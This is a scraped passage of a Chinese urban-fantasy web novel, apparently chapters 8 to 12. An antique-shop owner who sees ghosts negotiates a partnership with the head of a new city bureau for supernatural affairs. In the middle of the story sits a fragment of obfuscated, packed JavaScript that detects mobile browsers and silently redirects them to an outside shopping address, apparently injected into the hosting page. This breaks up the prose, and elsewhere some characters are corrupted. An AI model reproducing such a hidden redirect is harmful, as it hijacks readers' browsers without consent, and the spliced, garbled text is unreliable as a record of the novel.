“妖族这边你放心,我说话还有几分重量,精怪那边你得另寻他人了,妖和精到底不一样。” 乔霖暗自松了口气:“有您这句话,我先代生活在南安市的人类道一声谢。” “谢什么,就凭你小子是我看着长大的,你开口说一句,姨还能置之不理吗?”旰发看向那两份用透明塑料盒装着的糕点,语带笑意道,“再说了,你不是带了谢礼吗?” 乔霖乖巧道:“糕点是陈叔叮嘱我带上的,糕点的选择是我根据您的口味挑的,跟谢礼不能混为一谈。” 听到这句话,旰发笑意愈发明显:“难得你还记得我喜欢什么糕点,姓陈的老东西跟了张老这么多年,也算学到了几分人情世故。” “可能我的态度和帮助,对你们来说,代表了千金难换的安稳,但是于我而言,这两盒糕点就足够了。” 似乎觉得自己的喜好比乔霖所求的更重要,她又道:“我跟山魈也有点面子情,会帮你打声招呼的,过后你再带两瓶自酿的米酒去拜访一下就行了。” 正襟危坐的青年眼睛一亮,笑得十分灿烂:“谢谢旰姨!” “别说这些外道话。”盘腿坐在地板上的女子摆手下了逐客令,“赶紧回去吧,下个月就是中元节了,再忙也要注意身体。” 抱着瓦罐的乔霖起身,微微弯腰:“好,那我先告辞了,有空再过来看您。” 等走出这间没有正常家具,只有水泥陶土铸造的小民房后,乔霖拍了拍微微抖动的陶罐,冷声道:“现在我懒得收拾你,等回头把你送到城隍庙,你就知道想写后悔两个字有多难了。” 要是最近事情不多,这个兴风作浪的家伙也不可能从他手里完完整整地进入城隍庙。 “哥!阴气消失了!” 湖景小区外的临时停车位上,正在确定最后坐标的付文杰惊愕地看着实景地图,指尖不停地滑动查看,最后不得不承认一个事实。 “阴气指数在大幅度上升两小时后,现在降到正常区间了。” 有智慧生命的地方就会有七情六欲的存在,哪怕没有鬼怪妖精,也会有因负面情绪产生的阴气,当阴气降到正常区间时,就说明之前引起异常警报的东西逃走了,或者不见了。 付文杰等了几秒,没有听到预料中的询问,他扭头看去,只见坐在驾驶室的男人正目不转睛盯着对面的人行道。 “哥,你在看什么?” 湖景小区对面的人行道上,停了一排款式各异的电动车,一看就是附近上班族的出行工具。 此刻临近中午,很多人都从人行道两侧涌来,奔着自己的电动车而去,倒也有几个衣冠楚楚的年轻人,但大部分人还是衣着随意。 付文杰甚至看到一个穿着拖鞋的年轻人跨上老旧的电动车,把手中的陶罐放在脚踏上,动作利索地将车倒出狭窄的车位后,拧着车把手潇洒离开了。 这人甚至没戴安全头盔! 付文杰大受震撼:“来之前就听说这个省的居民日常出行以电动车为主,没想到这边的监管也这么宽松。” 同样看到这一幕的付行清轻轻叩着方向盘,玩味道:“刚才的路口好像有交警在查电动车,你说……现在我给交警队打举报电话,会不会有奖励?” “是举报电动车不符合新国标好呢?还是举报不戴头盔违反道路交通安全法好呢?” 付文杰:“?” 他哥这么遵纪守法嫉恶如仇吗?还记得他们来这边是要干什么吗?解决恶鬼不比举报更重要吗? 刚才到底是谁语气嘲讽地说出“随便一个乡镇派出所都知道根据案情严重性来决定处理的先后顺序”这句话的? 看着掏出手机真要拨打举报电话的亲哥,付文杰忽然有种今早没睡醒,其实自己还在梦里的诡异感。 十分钟后,明明看到有电动车掉头就立马更改路线,甚至凭借对附近街道的了解转入小路,却还是被交警精准逮到的乔霖同样怀疑自己没睡醒。 “不戴头盔罚二十,现在缴费,然后去那边路口的交警亭抄十遍交规,还有你这辆电动车不符合新国标,我们交警大队要扣下处理。” 往常给受困人民带来希望的制服,此刻给出的处罚却那么冷酷无情,一丝回寰的余地都不给。 乔霖死死抓住车把,企图捍卫个人财产,最终却敌不过交警察觉他的反抗后,那颗坚定保证道路安全的心。 “交规抄二十遍,发一条深刻反省的所有人可见的朋友圈。” 紧握的手忽然松开,抱着陶罐的乔霖努力说服自己,其实一辆早该淘汰的老款电动车也不是那么值钱。 可能这就是长大的代价吧,被带到路□□警亭的乔霖十分感慨,规则再也不会因年龄而让步了。 路口斜对面的临时停车位里,付文杰再次开口:“哥,你是不是发现了什么?” 打了交警大队电话,报出一个陌生车牌号后,他哥就跟鬼上身似的掉头回到这个路口,甚至在路边找了一个停车位,见缝插针把另一位动作慢了一步的车主拦在车位外面。 仿佛隔着防窥玻璃都能感受到的愤恨视线,以及亲哥安静却十分反常的举动,付文杰不得不怀疑他哥是不是发现了什么十分值得注意的线索。 “嗯,那只鬼被人抓了。” 这次付行清没有保持沉默,说出的话却让付文杰瞪大双眼,“被人,抓了?” “南安市的那些人,连大洋商场的鬼打墙都解决不了,现在却能赶在我们面前把那只鬼抓了?!” “受害者一共七个人,前六天他们一声不吭,今天我们一有动作,他们也跟着来抢活干了?” 付文杰一想到自己身为正规军,居然被南安市本地那些不知道合不合法的同行给针对了,就气得想骂人。 那些人抓了鬼知道怎么处理善后吗?不会一棍子全给打死了吧? “谁说解决不了鬼打墙?”付行清颇为诧异,利落的剑眉挑起,“你不会以为是我救了你吧?” “在你生命安全没受到威胁的情况下,我会出手?” “多少有点高看自己了弟弟,我没那么热心肠。” 短短几句话的信息量有点大,比起生气,付文杰觉得他现在应该抱抱技不如人还不被爱的自己。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265419|198097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 二十遍交规需要抄多久?反正等乔霖断断续续抄得差不多的时候,已经快到下班高峰期了。 尽职尽责的交警同志陆陆续续带回新的受罚人员,大家趴在桌子上,蹲在花坛边,甚至手肘撑在电动车坐垫上,满是心酸地接受痛失二十块钱后的抄写惩罚。 “机械性的重复罚抄跟体罚有什么区别?” 乔霖一边吐槽一边揉手腕,感觉指关节都快不受控制了,抄到后面的字也就比医生开的手写方子好上那么一点。 旁边负责检查的交警笑了一声:“知道错了吗?交通安全无小事,出行规则心中记。” “不用点狠办法,你们这些小年轻还以为不戴安全头盔不遵守交规很有个性。” “电动车也是车,交规必须守,现在罚抄能让你们记忆深刻,总好过出了意外上社会新闻,让别人引以为戒来得好吧?” 虽然除非必要,那辆车基本都是按新国标电动车的速度开,但乔霖也明白,这辆车的各项数值确实不合新规。 以前合法合规为百姓生活做出贡献的电动车,现在已经违法违规了。 乔霖握着僵硬的手腕,露出理解又不舍的笑:“您说的对,确实是我欠考虑了,以后会注意的。” 这辆电动车曾带着他家老爷子上过山下过乡,跑过业务也拉过迷路的旅人,如今被交警扣下,或许也是到退役的时机了。 交警又教育了几句才放他离开,那辆款式老旧的电动车早已不知被推到哪里去,乔霖环视一周,最终抱着瓦罐,灰头土脸地打了辆车。 等乔霖回到古玩店后,一直守在店里的陈叔认认真真听他说今早发生的事,边听边安慰一脸丧气的青年。 “那确实,共享电动车容易把瓦罐颠坏,公车地铁人太多,容易让体弱的人沾染阴气,网约车司机男人比较多,阳气重,速度快,确实是最适合的交通工具了。” “不用心疼钱,工作需要的情况下,花点也是应该的。” 乔霖有被安慰到,又有点心疼钱:“到底跨了两个城区,车费都四十五块钱了。” “不是说异管局打算在这边开分局吗?在这类业务上我们跟他们目标一致,下次我们解决了搞事的恶鬼,他们能不能报销交通费和食宿费啊?” 原本有在考虑要不要承接业务外包合作的陈叔,在听到最后一句时,手指屈起,盯着乔霖的额头蠢蠢欲动。 “张老以前就说过,店里赚到的钱都是你的,想怎么花就怎么花,不必省吃俭用,现在你白吃白喝的算盘都打到异管局头上了?” “本来这类事情咱们店里解决了,有功德拿又有求助者额外给的酬谢,这已经是稳赚不赔的买卖了。” “现在你居然连一点本都不想出,异管局的人也不全是傻子啊!” 刚刚还兴致勃勃提议的青年瞬间塌下腰背躺到躺椅上,一副闭口不言的模样。 陈叔恨铁不成钢地瞪了他一眼,“行了行了,这件事先放放,你一会先把这只小鬼送去城隍庙。” “知道了——”乔霖有气无力应了一声,又开始回复网店客户的留言,期盼能再来点新单子。 店里的一老一小此刻还没察觉到,从异管局分局手续办妥的那一刻起,南安市的玄学圈子就活跃了起来。 9. 第 9 章 “云先生,不知您意下如何?” “付小友,既然你是从京市来的,想必也知道我的性子,如果我是愿意循规蹈矩的人,也不会来南安市定居了。” 等了两天的云见真终于在今天等到了访客,他端起手边的茶壶,给对面的青年续了一杯茶,缓声道:“我随意惯了,心情好就接点熟客的求助,心情不好就闭门不出,这朝九晚五的工作确实无法胜任。” 被拒绝的付文杰叹了一句“真可惜。”,又道:“之前在总局时汪副局常说,您的能力在人才济济的云家也是首屈一指的存在,还说异管局如果有朝一日在南安市建立分局,首要任务必定是请您加入,哪怕让您当个副局也是值得的。” 听到这句话,云见真压下未出口的想法:“谬赞了,汪副局只是给我家老爷子面子罢了,总局有你们这些青年才俊,才是真的人才济济。” “能让总局直接委以重任的分局局长,能力必然不会逊色于我。” “我们云家也有人在总局任职,凭这一点,我与你们分局的关系也该是互相帮扶的,如果你们工作上遇到了什么棘手的问题,只要有需要到我的地方,我肯定不会袖手旁观。” 付文杰看着一身居士打扮的云见真,最终笑了起来,他一口喝完杯中的茶,起身告辞:“今日多有叨扰,不过得您这一句话,我们分局上下也安心许多,不怕在南安市没人撑腰了。” 云见真也被这句话逗得开心几分:“哈哈哈,付小友言重了。” “云迹,你帮叔叔送一送客人。” 被抓来当吉祥物的云迹立刻起身送人,等他再回来时,客厅的茶几周围又多了几个年岁不一的人,正七嘴八舌说着已经离开的付文杰。 “见真啊,看来南安市这家分局的态度还是能商量的,这样你也不必再提条件了。” “对,我观刚才那个小伙子的态度,不像是要强制收编的模样,跟当初隔壁省分局的手段不一样。” “原本还想着被派过来的人,能力应该比不上云家的传承人之一,我们还能谈谈条件,但是现在看来,能越过见真直接被派来当分局局长,这人应该有几分真本事。” “这样也好。”被好友围着的云小叔舒了口气,“公家饭可不是那么好吃的,公家事也不是那么好办的,既然双方能和平共处,咱们也没必要淌这趟浑水。” “你说的对。”一位穿着太极练功服的老者适时开口,“即使愿意给出局长一职来安抚我们,我们这些闲散惯了的老家伙,也比不上官场那些人的心眼子多。” “更何况我们先前的想法人家未必肯同意,这个位置指不定是给谁家小辈挖好的镀金萝卜坑,待一段时间就变成人参回京了。” “毕竟在此之前,异管局可从来没有在二线城市成立过分局。” 其他人一听,瞬间明了。 “您老说的对,这样就挺好,他们只要不手段强硬地搞事,我们也不是不能配合一下他们的工作。” “对,咱们平时还是各凭本事赚钱,真有异管局搞不定的大事,为了南安市也得一起出手。” “是这个理。” 云迹站在玄关听完,立刻掏出手机给小伙伴分享八卦,不过此时的乔霖正在接待客人,没时间回复他的消息。 “南安大桥你们知道吧?这座桥之所以能建成,也是有点说法在里面的。” 乔霖说话间把一盘文玩核桃放在柜台上,又端出一盘小巧可爱的葫芦,在他对面的几个学生一边挑选,一边好奇地听着。 “当初南安市还没真正发展起来,到处都是黄土泥路,所以建桥修路是政府工作的重中之重。” “但是其他的桥啊路啊,都能稳稳当当的开工,只有南安大桥的桥基打不下去,就算成功打下去了,没等继续施工就出问题,所以有人怀疑是不是风水出了问题。” 有个男生忍不住反驳:“毕竟是建在江边,有可能是土质的问题吧?” 乔霖神秘一笑:“要知道这桥的施工方案,是由院士级专家担任组长的专家组论证评审的,当年的专家可跟现在的不一样,这种事关民生发展的政府工程,有资质承接的也不是那些私人建筑公司。” “不过毕竟有专家在,后来这桥还是建成了,只不过施工中出了一件令人十分唏嘘的事。” “什么事啊?”听得有些无聊的女生开口道,“能有多唏嘘?” 看这几个学生好奇,乔霖便拿出一套茶具,边沏茶边说道:“当初桥基一直打不成功,建筑队的人就传出可能是因为风水的问题,还说古人造桥修路都要买三牲祭拜,问题严重的还要打生桩才能成功动土,就有愚昧的人动了歪心思。” “附近有一家人本来就穷得揭不开锅,除了年迈的父母外还有一个刚出生的小儿子,不知道他们从哪儿打听到的消息,听到打生桩要的是活人,事后施工方还会给一笔不菲的赔偿,就想把不听话的大儿子给卖了。” “但是人家正经工程,从打算建这座桥开始,上上下下经手的都是政府单位,怎么可能搞这种迷信害人的东西?” “可那对夫妻鬼迷心窍似的,满脑子只想着巨额赔偿,自己找到工地上被人赶走,还以为这些单位要面子,不敢明面上干这种事,夫妻俩就打算自己动手,替那些当官的解决面子上的顾虑。” “什么意思?”几个学生纷纷抬头,即使知道这大概率是民间谣传的故事,也被这句话可能带来的后果吓了一跳。 乔霖把沸腾的水冲入茶盏中,白色的雾气模糊了他的眉眼,“那对夫妻趁施工再次停摆、大部分工人不在工地的时机,逃过了留守工人的监管,把不听话的大儿子埋在了桥基动工的地方。” “对了,是活埋。” 两个女生霎时变了脸色,同行的男生也忍不住骂一句粗口。 其中一个女生满眼不忍,开口询问:“这件事是真的还是假的?” “嗐,这桥的年龄比我还大,我也是听家里长辈说的。”乔霖把泡好的茶倒入茶杯中,又推到几人面前,“天气燥热,喝杯茶去去火气。” 他看了这几个学生一眼,笑道:“这事就跟民间传说一样,三分真七分假,也是今天店里没什么客人,你们又是外地来这边旅游的,我才拿来当个话头,没想到吓到你们了。” “这件事想想也不可能是真的,别说拿活人打生桩了,就是拿只鸡鸭都不行,这种政府工程可不是建成就能马上验收的,一般得等个三五年,时间长的十年往上都有。” “要是水泥里或者桥基下面真有尸体,等过段时间腐烂,下面的水泥有一处人那么大的空洞,上面的建筑不得塌了?” 听到这句话,几个学生的脸色缓了下来,只有其中一个女生好像信了:“这可说不准,新闻报道的那些豆腐渣工程,谁知道是真的贪污受贿,还是当年的……腐朽了?” “这些被称为豆腐渣的工程,很多都是经济繁荣期建的,那会人民心中有希望,官场也没有那么多贪污受贿的事。” 看到有人较真,乔霖笑着摇头:“那些出问题的工程大部分都距今十几二十年,可是温度合适的时候,尸体腐朽的时间只需要 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乔霖看到来人,愣了一下,连忙走出柜台:“你怎么来了?” 说完还不忘朝角门方向喊一声:“陈叔,出来帮我招待一下这几位客人。” 看他出来,门外的周景也识趣地没有进去,只往旁边侧了半个身位:“我就是个带路的,你看我都没穿制服。” 乔霖松了口气,“还以为又有举报电话呢。” 话音落下,他就看到了站在周景身后的男人,对方英挺的眉眼正带着笑意看过来,只看这双眼睛,乔霖立刻在记忆中补全了这张脸。 毕竟能让人见之忘俗的样貌少有,在南安市敢抢他酬金的人也很罕见。 “笑什么笑?”乔霖翻了个白眼,“偷听别人说话很开心吗?” 周景连忙澄清:“没偷听,是你太专注了,没发现我们。” “没说你。”乔霖意有所指,“周警官的人品还是信得过的,不像有的人。” 周景回头看了一眼付行清,有些为难,又不知道该说什么。 这次来不是为了公务,乔霖也没犯事儿,不可能指责别人态度问题。 “那个,付先生,目的地已经带到了,我先去车上等你,等你聊完了,直接过去找我就行。”周景说完这句,也不等回复,急匆匆离开。 等他走远了,店里也传来学生跟陈叔聊天的细碎声音,在这处没人注意的角落,乔霖直接拉下脸。 “怨气这么大?”付行清慢悠悠道,“亏我听说前两天你被扣下的电动车是你爷爷留下来的,今天特意去交警大队说明情况,帮你拿回来。” 乔霖脸上没有拿回爷爷遗物的激动,只有隐隐的探究,“你怎么知道我的车被扣了?” “因为是我打电话举报的。”付行清微微一笑,“毕竟这辆车确实不应该上路了,所以我把情况说明后,交警大队要求你三天内去把这辆车的车牌号注销掉,以后也不能上路,才能把车领回来。” 乔霖稍微一想就明白怎么回事了。 这段时间他没怎么出门,除了云迹开车带他和覃塘去大洋商场那次,就是前两天去北城区办事,当时骑的就是那辆电动车。 “所以你又跟我抢生意?” 车不车的乔霖也不在意了,反正老爷子也不止一辆小电驴,但是有异管局要在南安市开分局的消息在先,现在这个据说被请来的人不仅一直没离开,他们目标还二次重叠。 这人,不得不防。 10. 第 10 章 “你到底是大洋商场从外省异管局请来接私单的,还是被调过来这边的?” 付行清靠在墙上,闻言反问:“这个问题重要吗?” “挺重要的,如果是前者,你在这里呆不了多久,我也不必纠结。”乔霖认真道,“如果是后者,或许我们需要好好谈一谈。” “我不是异管局的人,不存在调过来的说法。”付行清语调中透着一股懒散,“但是南安市异管局分局确实归我管。” 乔霖心沉了下去,“我们双方业务重叠了。” “部分重叠,但不影响你赚钱。”倚靠在墙上的男人看向乔霖,立体的五官被阴影笼住部分眉眼,却显出别样的凌厉。 这道目光过于锐利,就在乔霖忍不住想错开视线的时候,付行清忽然站直身体,十分郑重地伸出一只手,“正式认识一下,南安市异常事务管理局局长,付行清。” “今天过来,是给乔霖先生送奖金的。” 付行清,乔霖默念这三个字,忽然对这个人升起一股无关外貌的亲切。 他的视线从对方的脸,移到那只骨节分明的手上,不确定道:“奖金?” “对。”付行清开口解释,“非异管局的人解决了我们的任务,会有见义勇为的奖金。” 不得不说,乔霖心动了,如果异管局不会强占功劳的话,确实是值得合作的对象,但还有一个问题需要确认。 “如果你们的任务和我们店里的业务重叠,报酬方面……” “我们是官方机构,解决民众求助是责任,报酬自然与我们无关,如果最后是你们解决问题,你们就按自己的规矩向求助方收取报酬,我们无权干涉。” 乔霖恍然大悟,如果目标重叠,报酬却归异管局,就不会有人偷偷接私单了,而且国家机构也不可能对民众的求助收费——无论是什么样的求助, “我叫乔霖,很高兴认识你,付局长。”站在屋檐下的青年露出一个真心实意的笑容,微凉的手碰上那只悬停在半空的手掌。 付行清忍不住跟着笑起来,等待许久的手立刻握住这份诚意。 没有过于炙热的温度,没有黏腻的手汗,乔霖意外地发现,付行清的体温让他十分舒适。 “乔老板经常出门办事吧?”付行清煞风景道,“南安市的太阳挺毒的,把人晒得这么黑,怪不得别人估错了你的年龄。” 两人的肤色确实相差挺大,一个像是养尊处优不受生活侵袭的白皙,一个仿佛天天下地干活被生活磋磨的暗沉。 如果不是看过乔霖的资料,知道对方年龄比自己小,单看肤色的话,付行清觉得应该没人能猜对他们的年龄。 也不对,如果有人能摸到这只没有一丝茧子的手掌,还是有机会猜对的。 “肤色这东西又不是自己能决定的。”乔霖笑道,“不影响生活就没事。” 解决了酬金问题,确认付行清是友非敌,他心思又活络起来,开始思考跟异管局合作的可能。 不过这个念头才刚出现,门内就响起椅子的挪动声,陈叔热情的叮嘱也随之响起:“你们回去路上注意安全,下次有机会再来店里喝杯茶。” 门外两人同时闭上了嘴,走出来的学生看到站在乔霖身边的男人,一时怔愣。 “要回去了?”乔霖及时出声,“这次招待不周,下次有空再来玩啊。” 他看着这群学生,像是忽然看到什么,关切道:“其他人都买了小葫芦,你怎么不带一个?” 被询问的男生眼神有些闪躲,却在下一秒,手中被人塞进了一个圆鼓鼓的小葫芦。 “刚才看你眉间有些郁气,想来学业上有些不顺。”乔霖笑得十分和气,“这葫芦代表福禄,既然有缘来到店里,不如把福禄带回去吧。” “也提前祝你们学业顺利。” 同行的学生颇为惊讶地看着这个其貌不扬的店主,还想说些什么,乔霖却不给这个机会,拉着付行清进了店里。 几个学生互相对视一眼,最终笑着离开了这处偶然来到的地方。 “叔,你去歇着,我来看店吧。”乔霖把柜台上的茶具换了一套,重新烧水沏茶。 陈叔看了付行清一眼,笑着点头示意,便转身进了角门。 付行清的目光追着陈叔的背影,直到视线被角门阻断,才随意落座,“这家店后面还有地方?” “有啊,角门后面就是后堂,也是我和陈叔休息的地方。”乔霖一边回话,一边从柜台底下拿出一个白色的小布袋,从里面倒出些许深绿色的茶。 “你刚才说异管局不拿酬金,那大洋商场那边的酬金怎么还没给我打过来?” “这个你得问找你解决这件事的人。”付行清随手从托盘里拿了个葫芦把玩,目光一直放在在泡茶的青年脸上, 刚才乔霖在门外的举动让他有些在意,隐隐察觉到一个可能,他直接开口:“乔老板,你是不是能观气?” 给小布袋束口的青年大方承认:“对,我没法入道,眼睛却有些特别,能看到大多数生灵近期的气运,也能见鬼。” 付行清了然:“阴阳眼,罕见的天赋。” 乔霖深知做生意谈合作,最重要的是让对方看到自己的实力,如今不仅把自己的独特之处说出来,还淡定扔下一个炸弹。 “虽然我无法入道,只有一双眼睛较为独特,但只要不是道行很高,怨气很重的千年厉鬼,我这边都有人能解决。” “也因为能直接看到鬼魂,自有一套跟它们沟通的本事,如果异管局需要查什么线索,我这边也能代劳,费用给你打个折,毕竟鬼总比人能看到的东西多。” 虽然初次见面的过程不算完美,但是乔霖干脆利索的模样,付行清十分欣赏。 “你想要什么?” 壶中的水再次冒出白色水汽,这次不等彻底沸腾,便被冲入茶盏中,与不知名的茶叶共舞,乔霖盖上盖子等了几秒,便将泡出的茶汤倒入白底青花的茶杯中,推到男人手边。 有条不紊做完这一切,他才抬 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付行清也不怕乔霖忽悠自己,千年厉鬼虽然少,但不代表没有,更何况如今世道和以前不一样了,蛰伏许久的东西也会慢慢出现。 他自己花钱养着这些人,就算被骗也不过损失一点钱,万一真有乔霖说的这种本事,这些人就能保下一座城的人。 “不过丑话说在前头,如果这些人出事的时候不顶用,我可是会找乔老板的。” 乔霖没想到他这么有魄力,居然当场答应自己的要求,当即端正态度:“付局长把心放肚子里,如果他们不顶用,我头一个以身饲鬼。” “不过,我这人还是挺惜命的。” 看出他眼里的认真,付行清笑了一声:“那么,合作愉快。” “合作愉快。” 二人以茶代酒,就这么果断又草率地定下了一场不合规矩的合作。 事情谈完,付行清提出告辞,乔霖这次没有太小气,把付行清刚才一直把玩的葫芦送给他了。 “谢谢乔老板的葫芦。”走到门外的男人逆光回头,声音带着一丝若有似无的愉悦,“从初次见面就想说了,你的眼睛很漂亮。” 柜台后的乔霖愣了一下,直到门外身影消失,才回神失笑:“算你有眼光。” 重新把柜台收拾好,乔霖又躺在的躺椅上,柜台挡住了外面刺眼的阳光,轻而易举勾起困意。 陈叔不知何时走了出来,拿起抹布去擦拭一尘不染的多宝阁,在细碎的声音中,乔霖闭上双眼,却迟迟没有陷入沉眠。 临时起意的大胆想法,得到了一个不可能出现的结果,饶是付行清的联系方式已经出现在手机上,他还是有种不真切的感觉。 曾经让他忧虑的问题,在这一刻,被付行清干脆利落地解决了,乔霖觉得,南安市异管局的局长,确实只有这个人能胜任。 换了任何一个人,他都不同意。 11. 第 11 章 一周后,听到异管局正式开门,并且还传出局里多了十二个只发工资不见人的职位消息后,云家小叔各方打听,终于锁定了当事人。 “你小子胆儿真大,十二个六险二金的萝卜坑硬是被你给挖出来了。” “唉,我也没想到这位付局长这么有魄力。”乔霖装模作样叹了口气,“原本想着谈合作跟做生意大差不差,肯定是一方出价一方还价,有来有往地谈才能成。” “谁知道付局长一口应下了,搞得我都有点不好意思了。” 说到这里,他还颇为谦虚道:“原本我的底价是可以不要工资和别的福利,只要给交五险一金就行,实在谈不拢,给交养老和医保也行了。” “付局长肯定是带着真诚来的,不然也不会这么爽快,不愧是能当局长的人。” 在这种新成立的单位里一口气安排十二个吃空饷的职位,就算不需要入编,也不是随便一个人就能办到的,所以这笔钱最后肯定是开口点头的人掏。 在不知道这十二个名额的主人今年多少岁,还有多少年才到退休年龄的情况下,这笔钱的范围可没有一个固定数额,更别说还有工资和福利了。 即使是云见真也不得不羡慕,当初他不听家里安排跑到南安市这边,就是不想进异管局被人管着,但不代表他能拒绝一个可以扯虎皮做大旗的机会。 云见真蠢蠢欲动:“乔小子,你说我……” “云叔,您又不缺钱,就别掺和了。”乔霖给他倒了一杯茶,开口安抚道,“我要这些名额,是为了给这边的人一个保障,您是为了借异管局的名头吧?” “十二巷的人是一个整体,异管局有需要的时候,谁去都一样,要是您也学我这一招,到时候异管局叫谁不叫谁?是按顺序谁都叫一遍,还是看跟你我双方的交情来?要是解决了事情,你们这边酬金怎么分?” “当时我跟付局长谈条件,说的可是异管局解决不了的事我们才出手,而且只收取少量酬金。您可以不在乎钱,但是您那些朋友……也只靠每个月几千块的死工资养家糊口吗?” 云见真先前只知道乔霖硬生生要了十二个吃空饷的岗位,却不知道具体情况,如今一听合作条件,就知道自己这边无法效仿了。 异管局有技术不到家的人,却不可能全是这种人,全局上下都解决不了的事,换成他们来,也需要费一番力气才能搞定,还不一定全都能搞定。 费了这么大劲却只拿少量酬金,还不如自己接单解决,然后独享高额酬金,要是解决不了,也不用担心背上尸位素餐的骂名。 乔霖看到云小叔的表情就知道他想明白了,又道:“我这边的人都有自己的固定营生,虽然赚得不多,但是加上这份工资也够了,您那边的人纯靠这一行吃饭,开张吃三年很正常。” “拿几千的工资和少量报酬去解决一件棘手的事,还不如自己单干来的痛快,您说对吧?” “如今咱们双方都接触过异管局的人,都保持良好的面子情,真遇上什么事,借异管局的关系用一用,我想付局长也不会说什么。” 乔霖这句话说到云小叔的心坎里去了。 南安市虽然远离政治中心,但也是个稳健发展的二线城市,来这边混口饭吃的民间术士不少,这些人主要以云家小叔为首,而乔霖代表的却是本地的术士,双方一直保持互通有无的良好竞争关系。 只是云见真是京市云家出来的人,当初隔壁省异管局成立的时候,对隔壁省所有吃阴间饭的民间人进行了强制收编,甚至还想跨省把云见真搞过去。 要不是云家在异管局总局还有点话语权,当时的云见真未必能强硬拒绝。 如今南安市也有了自己的异管局,云见真不需要成为其中一员,也能保证一群好友不被强行收编,如果他们还能借异管局的名头,那接外省单的时候,也不必担心去了被扣住。 “你对这位局长评价很高啊。”云见真试探道,“要是再出现之前那种事,你说他会不会出面?” “会。”乔霖十分笃定,“同样是分局局长,谁比谁高贵?” “我们都承诺过异管局解决不了的事会帮忙,我得到了自己想要的条件,那你们这边也该得到庇护。” “下次再有外省的单,您这边大胆的接,就算那些人不给云家面子,付行清还能让他们动南安市的人?” 有十二个外聘岗位在,乔霖跟异管局的关系更紧密一点,云见真相信他不会随口画饼,既然乔霖这么笃定,那就暂且信一下这个异管局吧。 “行。”云见真喝下杯中冷却的茶水,神清气爽道,“那云叔就不去妨碍你谋福利了。” 乔霖尴尬一笑:“原来您知道啊。” 云见真隔空点了点他,笑道:“我又不傻,如果效仿你的条件,就不需要去打卡坐班,还不是能照旧接单?而且哪有这么多异管局解决不了的事需要我们出面啊?” “你不了解这种国家机构,一旦出现分局解决不了的事,按惯例来说,一般是先请求上级支援。” “总局的人和分局的人,能力水平可不一样。” 乔霖默默听着,也知道自己在这方面的见识不如云家小叔,云见真一通说教后,心里也畅快了,临走前还和蔼地拍着乔霖的肩膀感慨:“要是云迹能有你这么听话就好了。” 对此,乔霖只能干笑一声,不敢多说什么。 自此,南安市玄学圈和谐安稳,一切有条不紊地发展着——当然,不包括乔霖的小店。 也不知道怎么回事,异管局的事情走上正轨后,那位应该很忙的付局长却能三不五时来店里喝茶,问就是这儿的茶好喝。 乔霖知道付行清有眼光,却不知道对方这么有眼光,他忍痛送了点茶叶,对方隔天却带着茶叶回来了,说怎么泡都不是这个味,紧接着继续隔一两天就往这边跑,一呆就是大半天。 “你要的马蹄糕。” 一个袋子突然出现在柜台上,透明塑料盒里装着晶莹剔透的糕点,切成不规则形状的马蹄嵌在里面,有种令人想大快朵颐的吸引力。 乔霖眼皮都没抬,拎起袋子就往供桌方向走,“谢了啊,我先上供,一会再给你泡茶。” 付行清习以为常,转身把放在墙边的红色塑料凳拖到柜台前坐下,自顾自把玩柜台上摆放的小玩意儿。 什么水晶玛瑙都看了个遍,再把可以盘玩的菩提子核桃葫芦挑了挑,实在没 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“神龛里供的是一个枉死的小孩,我给弄点香火供奉,能让它过得舒服点,否则无人祭祀又是枉死,命定寿数未尽也无法轮回,我再不管管怎么行?” 说罢,乔霖趴在柜台上,把脑袋怼到男人眼皮子底下,“关爱儿童,人人有责,付局长您说对吧?” 视线里的这张脸实在寡淡,偏这一双眼睛漂亮得紧,每次青年做出讨好的表情时,总能让人气不起来,也是一种天赋。 “泡茶。” “好嘞!”乔霖爽快应下,只要付行清没动真火,一切都好说,就比如现在。 “昨晚你们是不是发现北城区的阴气暴涨了?没人报案的话就别管了呗,我这边刚接下这个单子。” “云家那边没人接?”付行清看着他烧水泡茶,语气淡淡道,“按昨晚的异常警报来看,出现的可不是普通小鬼小怪。” “我接了之后在群里问了,他们那边没有接到这个单子。”乔霖颇为得意,“毕竟他们都是靠熟人介绍生意,跟我们开店广纳天下客不一样。” “是吗。”付行清不置可否,“那你这单子是什么东西送来的?” 乔霖耸了耸肩,“这种想搞事的东西,普通人害怕,老实鬼也害怕啊,反正只要是正经生意,谁来我们都接。” 付行清轻笑一声,没再深究:“行,快点解决,免得惊扰了普通人,到时候异管局不可能不管。” “放心吧,今晚就能解决。”乔霖从柜台下拿出茶叶,忽然想起一个问题,“你们异管局的人会不会对此有意见?” 付行清瞥了他一眼:“能有什么意见?工资照拿,工作有人代劳,空出的时间还能接私活,哪个打工人会有意见?” 乔霖彻底放下心,只是忽然觉得,异管局这样,好像跟那十二个吃空饷的没什么区别。 异管局的人吃国家的饭,任务被他们当成单子接了,也乐得清闲,多余的时间还能出去接别的单。 嘶—— 这么一想,双方各取所需,合作十分愉快啊! 12. 第 12 章 “愉快个屁!”乔霖骂骂咧咧把茶具收起来,瞪着空无一人的店门,转头向来接班的陈叔开口,“叔,明天你帮我看会店,我去竹园路那边看看。” 正要拿扫帚的陈叔愣了一下,“什么生意需要你出门?让别人过去不行吗?” 乔霖把茶盘塞回柜台底下,忿忿道:“付大局长觉得工作太清闲,说要出去旅游,今晚的飞机,还说看在有合作的份上,让我去异管局那边认认人,到时候局里人有事也知道该找谁。” 陈叔立刻笑了:“我还当什么事呢,是该过去一趟。” “他们解决事情虽然没有额外收入,但有绩效,新成立的单位,到年底上报成绩的时候也能得个脸。既然人家手宽漏了出来,我们这些拿了好处的,总该帮忙看顾一眼。” “我看这位付局长不是个追名逐利的,来到南安市这么久也没有什么大动作,反而能维持住大家原本的生活,挺好的。” 乔霖知道这个理,就是心里不得劲。 这段时间接触下来,他知道付行清是被按头当的局长,也知道对方不想让这边分局被人插手,只要在他容忍度之内,他们这些野路子想干什么就干什么。 